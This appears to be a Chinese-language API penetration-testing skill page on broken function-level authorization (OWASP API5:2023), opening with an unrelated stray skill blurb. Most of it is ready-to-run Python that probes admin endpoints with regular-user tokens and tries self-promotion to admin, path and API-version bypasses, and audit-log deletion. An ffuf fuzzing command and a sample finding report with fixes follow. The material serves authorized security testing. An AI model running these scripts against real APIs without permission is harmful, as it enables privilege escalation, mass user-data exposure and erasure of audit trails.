executing-plans
executing-plans
Use when executing an implementation plan in the current session as the implementer yourself — your human partner chose inline execution, or no subagent tool is available
exploiting-broken-function-level-authorization测试 API 的函数级授权破坏(BFLA)漏洞,即普通用户可以通过直接调用来执行管理功能或访问特权 API 端点。测试人员识别管理员和特权端点,然后通过操纵 HTTP 方法、URL 路径和请求参数尝试使用普通用户凭据访问这些端点。对应 OWASP API5:2023 函数级授权破坏。适用于 BFLA 测试、管理员端点绕过、函数级访问控制测试或 API 权限提升等请求场景。
Independent GitHub snapshot · Automated classification · Original documentation governs
不适用于:未获得书面授权的情况。BFLA 测试涉及尝试使用未授权凭据执行管理功能。
requests 库import requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}
# 常见管理员端点模式
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
# 管理功能模式(POST/PUT/DELETE 操作)
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # 以管理员角色创建用户
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # 更改用户角色
("DELETE", "/api/v1/users/1002", None), # 删除其他用户
("POST", "/api/v1/settings", {"maintenance": True}), # 修改系统设置
("GET", "/api/v1/users?role=admin", None), # 列出管理员用户
("POST", "/api/v1/export/users", None), # 导出用户数据
("POST", "/api/v1/users/1002/disable", None), # 禁用用户账户
("POST", "/api/v1/users/1002/reset-password", None), # 强制密码重置
("PUT", "/api/v1/config/security", {"mfa_required": False}),# 禁用安全设置
("DELETE", "/api/v1/audit/logs", None), # 删除审计日志
]
# 第一阶段:发现可访问的管理员端点
print("第一阶段:管理员端点发现")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [可访问] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
# 定义角色及其预期访问级别
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
# 端点及预期最低角色要求
ROLE_MATRIX = [
# (方法, 端点, 请求体, 最低角色)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
("GET", "/api/v1/audit/logs", None, "admin"),
("POST", "/api/v1/export/database", None, "admin"),
("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]
ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]
results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
min_index = ROLE_HIERARCHY.index(min_role)
for role_name, role_headers in ROLES.items():
role_index = ROLE_HIERARCHY.index(role_name)
if role_index < min_index: # 此角色不应有访问权限
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=role_headers, json=body, timeout=5)
if resp.status_code not in (401, 403):
results.append({
"endpoint": f"{method} {endpoint}",
"role_used": role_name,
"expected_min_role": min_role,
"status_code": resp.status_code,
"vulnerable": True
})
print(f" [BFLA] {role_name} 访问了 {method} {endpoint}(需要 {min_role})-> {resp.status_code}")
print(f"\nBFLA 发现总计:{len(results)}")
# 测试授权是否依赖于特定 HTTP 方法
def test_method_based_bfla(endpoint, authorized_method="GET"):
"""测试授权是否仅适用于特定 HTTP 方法。"""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\n测试 {endpoint} 上基于方法的 BFLA:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") else None,
timeout=5)
status = "可访问" if resp.status_code not in (401, 403, 405) else "已阻止"
if status == "可访问":
print(f" [{status}] {method} {endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
# 测试管理员端点
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
# 测试向普通请求添加管理员参数是否能启用管理功能
privilege_escalation_tests = [
# 测试 1:通过自我更新添加角色参数
{
"name": "通过个人资料更新进行自我角色提升",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# 测试 2:添加 admin 标志
{
"name": "管理员标志注入",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# 测试 3:在请求体中修改用户 ID 以针对其他用户
{
"name": "请求体中的用户 ID 替换",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# 测试 4:通过带管理员参数的普通端点访问管理功能
{
"name": "隐藏的管理员参数",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# 测试 5:覆盖租户/组织
{
"name": "租户覆盖",
"method": "GET",
"endpoint": "/api/v1/users",
"body": None,
"extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
},
]
for test in privilege_escalation_tests:
extra = test.get("extra_headers", {})
resp = requests.request(
test["method"],
f"{BASE_URL}{test['endpoint']}",
headers={**regular_user_headers, **extra},
json=test["body"],
timeout=5
)
if resp.status_code in (200, 201, 204):
print(f"[BFLA] {test['name']}:{resp.status_code}")
# 检查角色是否实际发生了变化
if "role" in test.get("body", {}):
me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
headers=regular_user_headers)
if me_resp.status_code == 200:
current_role = me_resp.json().get("role", "unknown")
print(f" 利用后的当前角色:{current_role}")
# 测试较旧或替代的 API 版本是否缺少授权
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]
print("测试 API 版本绕过:")
for version in api_versions:
for path in admin_paths:
full_path = f"/api/{version}{path}"
resp = requests.get(f"{BASE_URL}{full_path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [绕过] {full_path} -> {resp.status_code}")
# 测试基于路径的绕过技术
bypass_paths = [
"/api/v1/admin/users",
"/api/v1/Admin/users", # 大小写变体
"/api/v1/ADMIN/users",
"/api/v1/%61dmin/users", # URL 编码
"/api/v1/./admin/users", # 路径遍历
"/api/v1/admin/../admin/users", # 双重路径
"/api/v1/;/admin/users", # 分号插入
"/api/v1/admin/users.json", # 扩展名添加
"/api/v1/admin/users/", # 尾部斜杠
]
for path in bypass_paths:
resp = requests.get(f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [路径绕过] {path} -> {resp.status_code}")
| 术语 | 定义 |
|---|---|
| BFLA(函数级授权破坏) | OWASP API5:2023 - 普通用户可以在没有适当授权检查的情况下调用管理性或特权 API 功能 |
| 垂直权限提升(Vertical Privilege Escalation) | 访问被限制在更高权限级别的功能或数据,例如普通用户访问管理员端点 |
| RBAC(基于角色的访问控制) | 授权模型,权限分配给角色,角色分配给用户 |
| 函数级授权(Function-Level Authorization) | 验证已认证用户是否有权限调用特定 API 功能的访问控制检查 |
| 管理员端点(Admin Endpoint) | 仅供管理员用户使用的 API 端点,通常用于管理用户、设置、审计日志和系统配置 |
| 强制浏览(Forced Browsing) | 直接访问应用程序中未链接但存在于服务器上的 URL,绕过 UI 层访问限制 |
ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token"场景背景:某 SaaS 平台有用户、版主和管理员角色。API 服务于一个 React 前端,根据用户角色条件渲染管理员功能。后端 API 应独立执行相同的限制。
方法:
/admin/、/manage/ 和角色检查条件GET /api/v1/admin/users 返回 200 以及所有用户数据(BFLA - 读取)PUT /api/v1/admin/users/1002/role 接受角色更改(BFLA - 写入)DELETE /api/v1/audit/logs 返回 200(BFLA - 破坏性操作)GET /api/v1/admin/settings 返回 403,但 PUT /api/v1/admin/settings 返回 200DELETE /api/v1/admin/billing/api/v2/admin/users 没有任何授权(影子 API 版本)常见陷阱:
## 发现:普通用户可以访问管理员用户管理 API
**ID**: API-BFLA-001
**严重性**: 严重(CVSS 9.8)
**OWASP API**: API5:2023 - 函数级授权破坏
**受影响端点**:
- GET /api/v1/admin/users(读取所有用户)
- PUT /api/v1/admin/users/{id}/role(更改用户角色)
- DELETE /api/v1/audit/logs(删除审计跟踪)
- PUT /api/v1/admin/settings(修改系统配置)
**描述**:
API 未对管理端点执行函数级授权。普通用户可以直接调用
管理员 API 端点并执行管理功能,包括用户管理、角色更改、
系统配置和审计日志删除。前端根据角色隐藏管理功能,
但后端 API 未执行相同的限制。
**概念验证**:
1. 以普通用户身份认证:POST /api/v1/auth/login
2. 调用管理端点:GET /api/v1/admin/users -> 200 OK(返回全部 50,000 名用户)
3. 提升自身角色:PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. 删除审计日志:DELETE /api/v1/audit/logs -> 204 No Content
**影响**:
任何已认证用户都可以获取平台的完全管理员控制权,
访问所有用户数据、修改角色、更改系统配置,
并删除审计日志以掩盖踪迹。
**修复建议**:
1. 实施 RBAC 中间件,在执行任何管理功能前检查用户角色
2. 在路由/控制器层面(而非仅在前端)应用授权
3. 使用基于装饰器/注解的授权(例如 @RequireRole("admin"))
4. 向 CI/CD 管道添加自动化 BFLA 测试,对每个角色测试每个端点
5. 实施管理员用户无法删除的不可变审计日志